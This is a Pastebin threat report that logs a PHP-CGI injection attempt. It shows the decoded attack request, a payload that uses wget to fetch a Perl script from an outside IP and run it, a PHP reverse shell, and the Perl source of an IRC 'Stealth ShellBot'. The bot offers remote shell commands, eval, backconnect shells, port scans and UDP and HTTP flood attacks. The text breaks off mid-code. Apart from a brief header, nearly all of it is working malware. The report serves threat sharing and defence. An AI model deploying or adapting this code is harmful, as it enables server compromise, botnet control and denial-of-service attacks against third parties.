Advertisement
Neonprimetime

PHP Injection Attempt: 187.63.160.3, 194.60.242.251

Jan 12th, 2015
540
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 28.42 KB | None | 0 0
  1. PHP Injection Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ****
  6.  
  7. Source IP: 187.63.160.3
  8.  
  9. ****
  10.  
  11. POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
  12.  
  13. ****
  14.  
  15. Decoded
  16. POST /cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
  17.  
  18. ****
  19. Payload
  20.  
  21. <?php system("wget 194.60.242.251/minispeedtest/speedtest/.z/hb/php01 -O /tmp/.0e1bc.log;perl /tmp/.0e1bc.log 85.214.73.166;rm -rf /tmp/.0e1bc.log &"); ?>set_time_limit(0);
  22. $ip = '91.121.105.21';
  23. $port = 22;
  24. $chunk_size = 1400;
  25. $write_a = null;
  26. $error_a = null;
  27. $shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';
  28. $daemon = 0;
  29. $debug = 0;
  30. if (function_exists('pcntl_fork')) {
  31. .$pid = pcntl_fork();.
  32. .if ($pid == -1) {
  33. ..printit("ERROR: Can't fork");
  34. ..exit(1);
  35. .}
  36. .if ($pid) {
  37. ..exit(0);
  38. .}
  39. .if (posix_setsid() == -1) {
  40. ..printit("Error: Can't setsid()");
  41. ..exit(1);
  42. .}
  43. .$daemon = 1;
  44. } else {
  45. .printit("WARNING: Failed to daemonise.");
  46. }
  47. chdir("/");
  48. umask(0);
  49. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  50. if (!$sock) {
  51. .printit("$errstr ($errno)");
  52. .exit(1);
  53. }
  54. $descriptorspec = array(
  55.    0 => array("pipe", "r"),
  56.    1 => array("pipe", "w"),
  57.    2 => array("pipe", "w")
  58. );
  59. $process = proc_open($shell, $descriptorspec, $pipes);
  60. if (!is_resource($process)) {
  61. .printit("ERROR: Can't spawn shell");
  62. .exit(1);
  63. }
  64. stream_set_blocking($pipes[0], 0);
  65. stream_set_blocking($pipes[1], 0);
  66. stream_set_blocking($pipes[2], 0);
  67. stream_set_blocking($sock, 0);
  68. while (1) {
  69. .if (feof($sock)) {
  70. ..printit("ERROR: Shell connection terminated");
  71. ..break;
  72. .}
  73. .if (feof($pipes[1])) {
  74. ..printit("ERROR: Shell process terminated");
  75. ..break;
  76. .}
  77. .$read_a = array($sock, $pipes[1], $pipes[2]);
  78. .$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  79. .if (in_array($sock, $read_a)) {
  80. ..if ($debug) printit("SOCK READ");
  81. ..$input = fread($sock, $chunk_size);
  82. ..if ($debug) printit("SOCK: $input");
  83. ..fwrite($pipes[0], $input);
  84. .}
  85. .if (in_array($pipes[1], $read_a)) {
  86. ..if ($debug) printit("STDOUT READ");
  87. ..$input = fread($pipes[1], $chunk_size);
  88. ..if ($debug) printit("STDOUT: $input");
  89. ..fwrite($sock, $input);
  90. .}
  91. .if (in_array($pipes[2], $read_a)) {
  92. ..if ($debug) printit("STDERR READ");
  93. ..$input = fread($pipes[2], $chunk_size);
  94. ..if ($debug) printit("STDERR: $input");
  95. ..fwrite($sock, $input);
  96. .}
  97. }
  98.  
  99. fclose($sock);
  100. fclose($pipes[0]);
  101. fclose($pipes[1]);
  102. fclose($pipes[2]);
  103. proc_close($process);
  104. function printit ($string) {
  105. .if (!$daemon) {
  106. ..print "$string
  107. ";
  108. .}
  109. }
  110. exit(1);
  111. ?>
  112.  
  113.  
  114.  
  115. ****************
  116.  
  117. 194.60.242.251/minispeedtest/speedtest/.z/hb/php01 contents below
  118.  
  119.  
  120. $p = "";
  121. for ($k=0;$k<1300;$k++) {
  122.         $p .= ",5-$k";
  123. }
  124. my @ps = (" ");
  125. my $processo = $ps[rand scalar @ps];
  126. $servidor='194.24.228.203' unless $servidor;
  127. my $porta='443';
  128. my @canais=("#allornothing");
  129. my @adms=("Kelevra");
  130. my $linas_max=10;
  131. my $sleep=5;
  132. my $nick = getnick();
  133. my $ircname = "bends";
  134. my $realname = `uname -vr`;
  135. my $uname = `uname -a`;
  136. my $acessoshell = 1;
  137. ######## Stealth ShellBot ##########
  138. my $prefixo = "!x";
  139. my $estatisticas = 0;
  140. my $pacotes = 1;
  141. my $VERSAO = '0.3b';
  142. $SIG{'INT'} = 'IGNORE';
  143. $SIG{'HUP'} = 'IGNORE';
  144. $SIG{'TERM'} = 'IGNORE';
  145. $SIG{'CHLD'} = 'IGNORE';
  146. $SIG{'PS'} = 'IGNORE';
  147. use IO::Socket;
  148. use Socket;
  149. use IO::Select;
  150. $servidor="$ARGV[0]" if $ARGV[0];
  151. $0="$processo"."\0";
  152. my $pid=fork;
  153. exit if $pid;
  154. die "Problema en PID: $!" unless defined($pid);
  155.  
  156. my %irc_servers;
  157. my %DCC;
  158. my $dcc_sel = new IO::Select->new();
  159.  
  160. #####################
  161. # Stealth Shellbot  #
  162. #####################
  163.  
  164. sub getnick {
  165.   return "Rizee|ZYN|01|".int(rand(8999)+1000);
  166. }
  167.  
  168.  
  169. $sel_cliente = IO::Select->new();
  170. sub sendraw {
  171.   if ($#_ == '1') {
  172.     my $socket = $_[0];
  173.     print $socket "$_[1]\n";
  174.   } else {
  175.       print $IRC_cur_socket "$_[0]\n";
  176.   }
  177. }
  178.  
  179. sub conectar {
  180.    my $meunick = $_[0];
  181.    my $servidor_con = $_[1];
  182.    my $porta_con = $_[2];
  183.  
  184.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  185.    if (defined($IRC_socket)) {
  186.      $IRC_cur_socket = $IRC_socket;
  187.  
  188.      $IRC_socket->autoflush(1);
  189.      $sel_cliente->add($IRC_socket);
  190.  
  191.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  192.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  193.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  194.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  195.      nick("$meunick");
  196.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  197.      sleep 2;
  198.    }
  199.  
  200. }
  201. my $line_temp;
  202. while( 1 ) {
  203.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  204.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  205.    &DCC::connections;
  206.    my @ready = $sel_cliente->can_read(0.6);
  207.    next unless(@ready);
  208.    foreach $fh (@ready) {
  209.      $IRC_cur_socket = $fh;
  210.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  211.      $nread = sysread($fh, $msg, 4096);
  212.      if ($nread == 0) {
  213.         $sel_cliente->remove($fh);
  214.         $fh->close;
  215.         delete($irc_servers{$fh});
  216.      }
  217.      @lines = split (/\n/, $msg);
  218.  
  219.      for(my $c=0; $c<= $#lines; $c++) {
  220.        $line = $lines[$c];
  221.        $line=$line_temp.$line if ($line_temp);
  222.        $line_temp='';
  223.        $line =~ s/\r$//;
  224.        unless ($c == $#lines) {
  225.          parse("$line");
  226.        } else {
  227.            if ($#lines == 0) {
  228.              parse("$line");
  229.            } elsif ($lines[$c] =~ /\r$/) {
  230.                parse("$line");
  231.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  232.                parse("$line");
  233.            } else {
  234.                $line_temp = $line;
  235.            }
  236.        }
  237.       }
  238.    }
  239. }
  240.  
  241. sub parse {
  242.    my $servarg = shift;
  243.    if ($servarg =~ /^PING \:(.*)/) {
  244.      sendraw("PONG :$1");
  245.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  246.        my $pn=$1; my $onde = $4; my $args = $5;
  247.        if ($args =~ /^\001VERSION\001$/) {
  248.          notice("$pn", "");
  249.        }
  250.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  251.          notice("$pn", "\001PONG\001");
  252.        }
  253.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  254.          if ($onde eq "$meunick"){
  255.            shell("$pn", "$args");
  256.          }
  257.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  258.             my $natrix = $1;
  259.             my $arg = $2;
  260.             if ($arg =~ /^\!(.*)/) {
  261.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  262.             } elsif ($arg =~ /^\@(.*)/) {
  263.                 $ondep = $onde;
  264.                 $ondep = $pn if $onde eq $meunick;
  265.                 bfunc("$ondep","$1");
  266.             } else {
  267.                 shell("$onde", "$arg");
  268.             }
  269.          }
  270.        }
  271.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  272.        if (lc($1) eq lc($meunick)) {
  273.          $meunick=$4;
  274.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  275.        }
  276.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  277.        $meunick = getnick();
  278.        nick("$meunick");
  279.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  280.        $meunick = $2;
  281.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  282.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  283.        foreach my $canal (@canais) {
  284.          sendraw("JOIN $canal");
  285.         sendraw("PRIVMSG $canal $uname");
  286.  
  287.        }
  288.    }
  289. }
  290.  
  291. sub bfunc {
  292.   my $printl = $_[0];
  293.   my $funcarg = $_[1];
  294.   if (my $pid = fork) {
  295.      waitpid($pid, 0);
  296.   } else {
  297.       if (fork) {
  298.          exit;
  299.        } else {
  300.            if ($funcarg =~ /^pscan (.*)/) {
  301.              my $hostip="$1";
  302.              my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  303.              my (@aberta, %porta_banner);
  304.              foreach my $porta (@portas)  {
  305.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  306.                 if ($scansock) {
  307.                    push (@aberta, $porta);
  308.                    $scansock->close;
  309.                 }
  310.              }
  311.              if (@aberta) {
  312.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Puertos Abiertos: @aberta");
  313.              } else {
  314.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Ning�n puerto fue encontrado.");
  315.              }
  316.            }
  317.  
  318.            elsif ($funcarg =~ /^portscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  319.              my $hostname="$1";
  320.              my $portainicial = "$2";
  321.              my $portafinal = "$3";
  322.              my (@abertas, %porta_banner);
  323.              foreach my $porta ($portainicial..$portafinal)
  324.              {
  325.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  326.                if ($scansock) {
  327.                  push (@abertas, $porta);
  328.                  $scansock->close;
  329.                  sendraw($IRC_cur_socket, "PRIVMSG $printl :Puerco $porta abierto en $hostname");
  330.                }
  331.              }
  332.              if (@abertas) {
  333.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Puertos abiertos: @abertas");
  334.              } else {
  335.                sendraw($IRC_cur_socket,"PRIVMSG $printl :No se encontr� ningun puerto abierto.");
  336.              }
  337.             }
  338.  
  339.             # Duas Vers?es simplificada do meu Tr0x ;D
  340.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  341.               return unless $pacotes;
  342.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  343.               my $alvo=inet_aton("$1");
  344.               my $porta = "$2";
  345.               my $tempo = "$3";
  346.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002: iniciado en $1: tiempo: $tempo");
  347.               my $pacote;
  348.               my $pacotese;
  349.               my $fim = time + $tempo;
  350.               my $pacota = 1;
  351.               while (($pacota == "1")) {
  352.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  353.                 $pacote=$rand x $rand x $rand;
  354.                 $porta = int(rand 65000) +1 if ($porta == "0");
  355.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  356.               }
  357.                sendraw($IRC_cur_socket, "PRIVMSG $printl :[UDP] Terminado $1 tiempo: $tempo"."segs solicitudes: $pacotese");
  358.             }
  359.            
  360.             elsif ($funcarg =~ /^arme\s+(.*)\s+(\d+)\s+(\d+)/) {
  361.               return unless $pacotes;
  362.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  363.               my $alvo=inet_aton("$1");
  364.               my $porta = "$2";
  365.               my $tempo = "$3";
  366.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[ARME]\002 Starting flood in: $1 Time: $tempo");
  367.               my $pacote;
  368.               my $pacotese;
  369.               my $fim = time + $tempo;
  370.               my $pacota = 1;
  371.               while (($pacota == "1")) {
  372.               $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  373. $x = "";
  374. my $sock = IO::Socket::INET->new(PeerAddr => "$1",
  375.                                  PeerPort => "80",
  376.                                          Proto    => 'tcp');
  377. $puta = "HEAD / HTTP/1.1\r\nHost: $1\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  378. print $sock $puta;
  379.               }
  380.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  381.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  382.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[ARME]\002 Finished in $1");
  383.             }
  384.             elsif ($funcarg =~ /^slowpost\s+(.*)\s+(\d+)\s+(\d+)/) {
  385.               return unless $pacotes;
  386.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  387.               my $alvo=inet_aton("$1");
  388.               my $porta = "$2";
  389.               my $tempo = "$3";
  390.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SlowPost]\002 Starting flood in: $1 Time: $tempo");
  391.               my $pacote;
  392.               my $pacotese;
  393.               my $fim = time + $tempo;
  394.               my $pacota = 1;
  395.               while (($pacota == "1")) {
  396.               $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  397. $x = "";
  398. my $sock = IO::Socket::INET->new(PeerAddr => "$1",
  399.                                  PeerPort => "80",
  400.                                          Proto    => 'tcp');
  401. $puta = "POST / HTTP/1.1\r\nHost: $1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)\r\nConnection: keep-alive\r\nKeep-Alive: 900\r\nContent-Length: 10000\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
  402. print $sock $puta;
  403.               }
  404.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SlowPost]\002 Finished in $1");
  405.             }
  406.             elsif ($funcarg =~ /^backconnect\s+(.*)\s+(\d+)/) {
  407.               my $host = "$1";
  408.               my $porta = "$2";
  409.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando a\002: $host:$porta");
  410.               my $proto = getprotobyname('tcp');
  411.               my $iaddr = inet_aton($host);
  412.               my $paddr = sockaddr_in($porta, $iaddr);
  413.               my $shell = "/bin/sh -i";
  414.               if ($^O eq "MSWin32") {
  415.                 $shell = "cmd.exe";
  416.               }
  417.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  418.               connect(SOCKET, $paddr) or die "connect: $!";
  419.               open(STDIN, ">&SOCKET");
  420.               open(STDOUT, ">&SOCKET");
  421.               open(STDERR, ">&SOCKET");
  422.               system("$shell");
  423.               close(STDIN);
  424.               close(STDOUT);
  425.               close(STDERR);
  426.             }
  427.            elsif ($funcarg =~ /^info/) {
  428.            my $sysos = `uname -sr`;
  429.            my $uptime = `uptime`;
  430.            if ( $sysos =~ /freebsd/i ) {
  431.            $sysname = `hostname`;
  432.            $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
  433.            $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
  434.            chomp($memory);
  435.            chomp($swap);
  436.            }
  437.            elsif ( $sysos =~ /linux/i ) {
  438.            $sysname = `hostname -f`;
  439.            $memory = `free -m |grep -i mem | awk '{print \$2}'`;
  440.            $swap = `free -m |grep -i swap | awk '{print \$2}'`;
  441.            chomp($swap);
  442.            chomp($memory);
  443.            }
  444.            else {
  445.            $sysname ="Not Found";;
  446.            $memory ="Not found";
  447.            $swap ="Not Found";
  448.            }
  449.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 SysInfo 3] 15-------------");
  450.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01os/host15;01 $sysos - $sysname ");
  451.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01proc/PID15;01 $processo - $$");
  452.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01uptime15;01 $uptime");
  453.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01memory/swap15;01 $memory - $swap");
  454.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01perl/bot15;01 $] - $VERSAO");
  455.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 /SysInfo 3] 15------------");
  456.            }
  457.            exit;
  458.     }
  459.   }
  460. }
  461.  
  462. sub ircase {
  463.   my ($kem, $printl, $case) = @_;
  464.  
  465.    if ($case =~ /^join (.*)/) {
  466.      j("$1");
  467.    }
  468.    elsif ($case =~ /^part (.*)/) {
  469.       p("$1");
  470.    }
  471.    elsif ($case =~ /^rejoin\s+(.*)/) {
  472.       my $chan = $1;
  473.       if ($chan =~ /^(\d+) (.*)/) {
  474.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  475.           p("$2");
  476.           j("$2");
  477.         }
  478.       } else {
  479.           p("$chan");
  480.           j("$chan");
  481.       }
  482.    }
  483.    elsif ($case =~ /^op/) {
  484.       op("$printl", "$kem") if $case eq "op";
  485.       my $oarg = substr($case, 3);
  486.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  487.    }
  488.    elsif ($case =~ /^deop/) {
  489.       deop("$printl", "$kem") if $case eq "deop";
  490.       my $oarg = substr($case, 5);
  491.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  492.    }
  493.    elsif ($case =~ /^voice/) {
  494.       voice("$printl", "$kem") if $case eq "voice";
  495.       $oarg = substr($case, 6);
  496.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  497.    }
  498.    elsif ($case =~ /^devoice/) {
  499.       devoice("$printl", "$kem") if $case eq "devoice";
  500.       $oarg = substr($case, 8);
  501.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  502.    }
  503.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  504.       msg("$1", "$2");
  505.    }
  506.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  507.       for (my $cf = 1; $cf <= $1; $cf++) {
  508.         msg("$2", "$3");
  509.       }
  510.    }
  511.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  512.       for (my $cf = 1; $cf <= $1; $cf++) {
  513.         ctcp("$2", "$3");
  514.       }
  515.    }
  516.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  517.       ctcp("$1", "$2");
  518.    }
  519.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  520.       invite("$1", "$2");
  521.    }
  522.    elsif ($case =~ /^nick (.*)/) {
  523.       nick("$1");
  524.    }
  525.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  526.        conectar("$2", "$1", 6667);
  527.    }
  528.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  529.       DCC::SEND("$1", "$2");
  530.    }
  531.    elsif ($case =~ /^raw (.*)/) {
  532.       sendraw("$1");
  533.    }
  534.    elsif ($case =~ /^eval (.*)/) {
  535.       eval "$1";
  536.    }
  537.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  538.     sleep int(rand($2));
  539.     j("$1");
  540.    }
  541.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  542.     sleep int(rand($2));
  543.     p("$1");
  544.    }
  545.    elsif ($case =~ /^sair/) {
  546.      quit();
  547.    }
  548.    elsif ($case =~ /^novonick/) {
  549.     my $novonick = getnick();
  550.      nick("$novonick");
  551.    }
  552.    elsif ($case =~ /^estatisticas (.*)/) {
  553.      if ($1 eq "on") {
  554.       $estatisticas = 1;
  555.       msg("$printl", "Estat?sticas ativadas!");
  556.      } elsif ($1 eq "off") {
  557.       $estatisticas = 0;
  558.       msg("$printl", "Estat?sticas desativadas!");
  559.      }
  560.    }
  561.    elsif ($case =~ /^pacotes (.*)/) {
  562.      if ($1 eq "on") {
  563.       $pacotes = 1;
  564.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  565.      } elsif ($1 eq "off") {
  566.       $pacotes = 0;
  567.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  568.      }
  569.    }
  570. }
  571. sub shell {
  572.   return unless $acessoshell;
  573.   my $printl=$_[0];
  574.   my $comando=$_[1];
  575.   if ($comando =~ /cd (.*)/) {
  576.     chdir("$1") || msg("$printl", "Diret?rio inexistente!");
  577.     return;
  578.   }
  579.   elsif ($pid = fork) {
  580.      waitpid($pid, 0);
  581.   } else {
  582.       if (fork) {
  583.          exit;
  584.        } else {
  585.            my @resp=`$comando 2>&1 3>&1`;
  586.            my $c=0;
  587.            foreach my $linha (@resp) {
  588.              $c++;
  589.              chop $linha;
  590.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  591.              if ($c >= "$linas_max") {
  592.                $c=0;
  593.                sleep $sleep;
  594.              }
  595.            }
  596.            exit;
  597.        }
  598.   }
  599. }
  600. sub attacker {
  601.   my $iaddr = inet_aton($_[0]);
  602.   my $msg = 'B' x $_[1];
  603.   my $ftime = $_[2];
  604.   my $cp = 0;
  605.   my (%pacotes);
  606.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  607.  
  608.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  609.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  610.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  611.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  612.   return(undef) if $cp == 4;
  613.   my $itime = time;
  614.   my ($cur_time);
  615.   while ( 1 ) {
  616.      for (my $porta = 1; $porta <= 65535; $porta++) {
  617.        $cur_time = time - $itime;
  618.        last if $cur_time >= $ftime;
  619.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  620.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  621.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  622.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  623.  
  624.        # DoS ?? :P
  625.        for (my $pc = 3; $pc <= 255;$pc++) {
  626.          next if $pc == 6;
  627.          $cur_time = time - $itime;
  628.          last if $cur_time >= $ftime;
  629.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  630.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  631.        }
  632.      }
  633.      last if $cur_time >= $ftime;
  634.   }
  635.   return($cur_time, %pacotes);
  636. }
  637.  
  638. #############
  639. #  ALIASES  #
  640. #############
  641.  
  642. sub action {
  643.    return unless $#_ == 1;
  644.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  645. }
  646.  
  647. sub ctcp {
  648.    return unless $#_ == 1;
  649.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  650. }
  651. sub msg {
  652.    return unless $#_ == 1;
  653.    sendraw("PRIVMSG $_[0] :$_[1]");
  654. }
  655.  
  656. sub notice {
  657.    return unless $#_ == 1;
  658.    sendraw("NOTICE $_[0] :$_[1]");
  659. }
  660.  
  661. sub op {
  662.    return unless $#_ == 1;
  663.    sendraw("MODE $_[0] +o $_[1]");
  664. }
  665. sub deop {
  666.    return unless $#_ == 1;
  667.    sendraw("MODE $_[0] -o $_[1]");
  668. }
  669. sub hop {
  670.     return unless $#_ == 1;
  671.    sendraw("MODE $_[0] +h $_[1]");
  672. }
  673. sub dehop {
  674.    return unless $#_ == 1;
  675.    sendraw("MODE $_[0] +h $_[1]");
  676. }
  677. sub voice {
  678.    return unless $#_ == 1;
  679.    sendraw("MODE $_[0] +v $_[1]");
  680. }
  681. sub devoice {
  682.    return unless $#_ == 1;
  683.    sendraw("MODE $_[0] -v $_[1]");
  684. }
  685. sub ban {
  686.    return unless $#_ == 1;
  687.    sendraw("MODE $_[0] +b $_[1]");
  688. }
  689. sub unban {
  690.    return unless $#_ == 1;
  691.    sendraw("MODE $_[0] -b $_[1]");
  692. }
  693. sub kick {
  694.    return unless $#_ == 1;
  695.    sendraw("KICK $_[0] $_[1] :$_[2]");
  696. }
  697.  
  698. sub modo {
  699.    return unless $#_ == 0;
  700.    sendraw("MODE $_[0] $_[1]");
  701. }
  702. sub mode { modo(@_); }
  703.  
  704. sub j { &join(@_); }
  705. sub join {
  706.    return unless $#_ == 0;
  707.    sendraw("JOIN $_[0]");
  708. }
  709. sub p { part(@_); }
  710. sub part {sendraw("PART $_[0]");}
  711.  
  712. sub nick {
  713.   return unless $#_ == 0;
  714.   sendraw("NICK $_[0]");
  715. }
  716.  
  717. sub invite {
  718.    return unless $#_ == 1;
  719.    sendraw("INVITE $_[1] $_[0]");
  720. }
  721. sub topico {
  722.    return unless $#_ == 1;
  723.    sendraw("TOPIC $_[0] $_[1]");
  724. }
  725. sub topic { topico(@_); }
  726.  
  727. sub whois {
  728.   sendraw("WHOIS $_[0]");
  729. }
  730. sub who {
  731.   return unless $#_ == 0;
  732.   sendraw("WHO $_[0]");
  733. }
  734. sub names {
  735.   return unless $#_ == 0;
  736.   sendraw("NAMES $_[0]");
  737. }
  738. sub away {
  739.   sendraw("AWAY $_[0]");
  740. }
  741. sub back { away(); }
  742. sub quit {
  743.   sendraw("QUIT :$_[0]");
  744.   exit;
  745. }
  746.  
  747. # DCC
  748. package DCC;
  749.  
  750. sub connections {
  751.    my @ready = $dcc_sel->can_read(1);
  752. #   return unless (@ready);
  753.    foreach my $fh (@ready) {
  754.      my $dcctipo = $DCC{$fh}{tipo};
  755.      my $arquivo = $DCC{$fh}{arquivo};
  756.      my $bytes = $DCC{$fh}{bytes};
  757.      my $cur_byte = $DCC{$fh}{curbyte};
  758.      my $nick = $DCC{$fh}{nick};
  759.  
  760.      my $msg;
  761.      my $nread = sysread($fh, $msg, 10240);
  762.  
  763.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  764.         $DCC{$fh}{status} = "Cancelado";
  765.         $DCC{$fh}{ftime} = time;
  766.         $dcc_sel->remove($fh);
  767.         $fh->close;
  768.         next;
  769.      }
  770.  
  771.      if ($dcctipo eq "get") {
  772.         $DCC{$fh}{curbyte} += length($msg);
  773.  
  774.         my $cur_byte = $DCC{$fh}{curbyte};
  775.  
  776.         open(FILE, ">> $arquivo");
  777.         print FILE "$msg" if ($cur_byte <= $bytes);
  778.         close(FILE);
  779.  
  780.         my $packbyte = pack("N", $cur_byte);
  781.         print $fh "$packbyte";
  782.  
  783.         if ($bytes == $cur_byte) {
  784.            $dcc_sel->remove($fh);
  785.            $fh->close;
  786.            $DCC{$fh}{status} = "Recebido";
  787.            $DCC{$fh}{ftime} = time;
  788.            next;
  789.         }
  790.      } elsif ($dcctipo eq "send") {
  791.           my $send = $fh->accept;
  792.           $send->autoflush(1);
  793.           $dcc_sel->add($send);
  794.           $dcc_sel->remove($fh);
  795.           $DCC{$send}{tipo} = 'sendcon';
  796.           $DCC{$send}{itime} = time;
  797.           $DCC{$send}{nick} = $nick;
  798.           $DCC{$send}{bytes} = $bytes;
  799.           $DCC{$send}{curbyte} = 0;
  800.           $DCC{$send}{arquivo} = $arquivo;
  801.           $DCC{$send}{ip} = $send->peerhost;
